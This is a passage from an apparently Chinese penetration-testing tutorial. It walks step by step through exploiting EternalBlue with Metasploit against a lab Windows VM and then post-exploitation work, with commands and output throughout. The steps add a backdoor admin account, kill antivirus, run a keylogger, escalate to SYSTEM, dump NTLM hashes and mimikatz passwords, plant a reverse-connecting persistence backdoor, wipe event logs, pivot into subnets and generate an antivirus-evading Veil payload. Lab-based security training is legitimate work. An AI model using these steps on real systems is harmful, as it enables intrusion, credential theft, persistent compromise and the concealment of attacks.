8.配置选项参数

msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.36.130
RHOSTS => 192.168.36.130
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.36.128
LHOST => 192.168.36.128

9.实施渗透测试

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

等待一会,成功获取到一个Meterperter会话,此时可以在Meterpreter Shell下执行大量的命令

进入目标主机的Shell

添加一个用户,并此用户提升为管理员

net user hacker 123456/add
net localgroup administrators hacker /add

可以看到靶机已经添加进了hacker用户

从Meterpreter会话返回到MSF终端

C:\Windows\system32>exit
exit
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/smb/ms17_010_eternalblue) >

如果想要再次进入Meterpreter会话,可以使用sessions命令实现

msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions  -i 1

控制Meterpreter会话

当利用漏洞成功渗透到目标系统,并且获取到Meterpreter会话后,可以利用其漏洞模块支持的Meterpreter命令来控制Meterpreter会话,以获取目标主机的更多信息或控制目标主机,如关闭杀毒软件、键盘捕获、屏幕截图、提升权限及创建账户等

关闭杀毒软件

meterpreter > run killav

可以看到,杀死了目标主机的反病毒服务,并且结束了cmd.exe程序

获取目标主机的详细信息

使用sysinfo命令查看目标主机的系统信息

meterpreter > sysinfo

还可以使用run scraper命令查看目标主机的详细信息,然后下载并保存在本地

meterpreter > run scraper

将获取到的信息下载并保存在C:\Windows\TEMP目录中,以注册表文件形式保存

检查目标是否运行在虚拟机

meterpreter > run post/windows/gather/checkvm

检测到目标主机是一个VMware虚拟机,可以说明,目标靶机运行在VMware虚拟机

访问文件系统

Meterpreter支持各种文件系统命令,这些命令基本和Linux系统命令相似,这里就不演示了

上传/下载文件

download <file>
upload <file>

键盘捕获

meterpreter > keyscan_start    #开启键盘记录功能
meterpreter > keyscan_dump    #捕获的键盘记录
meterpreter > keyscan_stop    #停止键盘记录功能

屏幕截图

meterpreter > screenshot
Screenshot saved to: /root/sDQFyneQ.jpeg

枚举用户

渗透测试者还可以使用run post/windows/gather/enum_logged_on_users命令枚举目标主机中的用

meterpreter > run post/windows/gather/enum_logged_on_users

目标主机中只有一个用户,用户名为admin

权限提升

查看当前用户的权限信息

meterpreter > getuid

使用getsystem命令对该用户进行提权

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

对当前用户进行了提权,再次查看用户权限

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

获取用户密码

使用hashdump命令获取用户的密码

meterpreter > hashdump
admin:1000:aad3b435b51404eeaad3b435b51404ee:9c1e3204af5f71fa497d6a2f2cb5e42a:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hacker:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

可以看到目标主机中有3个用户,分别是admin、Administrator、Guest和hacker。

输出信息的格式为,用户名:SID:LM哈希:NTLM哈希。

其中,LM哈希aad3b435b51404 eeaad3b435b51404ee和NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0对应的是一个空密码

还可以通过加载mimikatz模块,来获取用户密码。但是,该模块的命令只针对32位系统

1.加载mimikatz模块

meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
Success.

2.使用help mimikatz命令查看mimikatz模块支持的所有命令

meterpreter > help mimikatz

3.使用mimikatz_command命令获取用户密码

meterpreter > mimikatz_command -f sekurlsa::wdigest -a "full"

3.使用msv命令获取用户哈希密码

meterpreter > msv

4.使用wdigest命令获取登录过的用户存储在内存里的明文密码

meterpreter > wdigest

绑定进程

1.查看当前系统中运行的进程

meterpreter > ps

2.使用getpid命令查看当前的进程ID

meterpreter > getpid
Current pid: 1104

3.使用migrate命令绑定进程

meterpreter > migrate 452
[*] Migrating from 1104 to 452...
[*] Migration completed successfully.

运行程序

透测试者还可以使用execute命令在目标系统中执行应用程序

execute [options] -f command

该命令可用的选项及含义如下:

  • -H:创建一个隐藏进程。
  • -a:传递给命令的参数。
  • -i:跟进程进行交互。
  • -m:从内存中执行。
  • -t:使用当前伪造的线程令牌运行进程。
  • -s:在给定的会话中执行进程。

在目标主机上运行一个CMD程序

meterpreter > execute - s 1 -f cmd
Process 2296 created.

启用远程桌面

meterpreter > run post/windows/manage/enable_rdp

检查远程用户的空闲时长

meterpreter > idletime
User has been idle for: 3 hours 24 mins 18 secs

使用rdesktop命令远程连接桌面

root@kali:~# rdesktop 192.168.36.132

持久后门

成功获取目标系统的访问权限后,为了方便后续渗透测试,可以创建持久后门。只要目标主机开机,将自动与攻击主机建立连接。而且,当创建持久后门后,即使连接被中断,也不会影响工作。

使用run persistence命令创建持久后门

run persistence -X -i <opt> -p <opt> -r <opt>

该命令支持的选项及含义如下:

  • -X:当系统启动后,自动启动代理。
  • -i :设置每个连接尝试的时间间隔,单位为秒。
  • -p :指定Metasploit监听的端口。
  • -r :指定反向连接运行Metasploit系统的IP地址,即攻击主机的地址。
meterpreter > run persistence -X -i 5 -p 8888 -r 192.168.36.128

当在目标主机创建持久后门后,还需要在本地建立监听,这样,当目标主机重新启动后,即可自动与攻击主机建立连接

使用exploit/multi/handler模块建立监听

1.选择exploit/multi/handler模块

msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

2.加载攻击载荷

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

3.查看配置

msf5 exploit(multi/handler) > show options

必需项LHOST还没有配置。而且,该模块监听的端口为4444。由于前面已经监听了4444端口,所以这里将修改一个其他监听端口,如8888

4.配置攻击载荷选项

msf5 exploit(multi/handler) > set LHOST 192.168.36.128
LHOST => 192.168.36.128
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888

5.建立监听

msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.36.128:8888

6.目标主机重新启动后,将主动与攻击主机建立连接

清除踪迹

可以使用clearev命令清除踪迹

meterpreter > clearev
[*] Wiping 386 records from Application...
[*] Wiping 1328 records from System...
[*] Wiping 348 records from Security...

搭建跳板

跳板是指利用一台已经攻击的漏洞主机作为跳板,渗透网络中的其他主机。它还可以用于渗透由于路由问题而不能直接访问的内网系统

搭建跳板。具体操作步骤

1.打开获取的Meterpreter会话

从以上会话的地址中,可以看到攻击主机的地址为192.168.36.128,目标主机的地址为192.168.36.132 这两台主机是属于同一个网络。如果不属于同一网络,则需要对目标主机所在网络中的其他主机进行渗透,则需要添加对应的路由条目才可实现。

2.查看目标系统上的子网

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.36.0/255.255.255.0

可以看到目标系统所在的子网为192.168.36.0/24

3.将攻击会话放到后台运行,并且添加路由条目

route add [子网] [掩码] [会话ID]

添加路由条目

meterpreter > background
msf5 exploit(multi/handler) > route add 192.168.36.0 255.255.255.0 4
[*] Route added

使用route print命令查看添加的路由条目

msf5 exploit(multi/handler) > route print

成功添加了192.168.36.0/24的路由条目。接下来,攻击主机即可对192.168.36.0/24网络中的其他主机实施渗透

提示:在上面的例子中使用route add命令为Meterpreter的攻击会话添加路由。如果要更加自动化地完成这一操作,可以选择使用load auto_add_route命令

msf5 exploit(multi/handler) > load auto_add_route
[*] Successfully loaded plugin: auto_add_route

接下来,使用exploit命令即可对其他主机实施渗透测试

msf5 exploit(multi/handler) > exploit

免杀Payload攻击

Kali Linux提供了一款名为Veil Evasion的工具,可以用来生成不同类型的攻击载荷文件。该攻击载荷文件在大多数情况下能绕过常见的杀毒软件

安装及初始化Veil Evasion工具

root@kali:~# apt-get install veil-evasion -y

初始化Veil Evasion工具

1.启动Veil Evasion工具

root@kali:~# veil

如果报以下类似错误,可以尝试命令/usr/share/veil/config/setup.sh --force --silent(在主机上尝试)

 [!] ERROR #2-3: Can't find the WINE profile for Ruby v1.8.7 (/var/lib/veil/wine//drive_c/Ruby187/bin/ruby.exe).   Run: /usr/share/veil/config/setup.sh --force --silent
/usr/share/veil/config/setup.sh --force --silent

2.使用Evasion工具

Veil>: use Evasion

可以看到,该工具加载了41个攻击载荷

3.查看Evasion工具支持的攻击载荷

Veil/Evasion>: list

4.使用cs/meterpreter/rev_tcp.py攻击载荷

Veil/Evasion>: use cs/meterpreter/rev_tcp.py

5.配置LHOST选项

[cs/meterpreter/rev_tcp>>]: set LHOST 192.168.36.128

6.生成攻击载荷

[cs/meterpreter/rev_tcp>>]: generate

生成了一个可执行文件test.exe,并且该文件保存在/var/lib/veil/output/compiled/中。此时将可执行文件test.exe发送到目标主机上,就可以利用该攻击载荷了

也可以在命令行模式下生成攻击载荷

root@kali:~# veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 192.168.36.128 --port 4444

创建好攻击载荷文件后,还需要创建一个远程监听器。

当目标主机执行该攻击载荷文件后,将主动与攻击主机建立连接

使用Metasploit的exploit/multi/handler模块创建监听器

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) >

当目标主机执行了创建的攻击载荷文件payload.exe

成功获取了一个Meterpreter会话

Last modification:January 4, 2022
如果觉得我的文章对你有用,请随意赞赏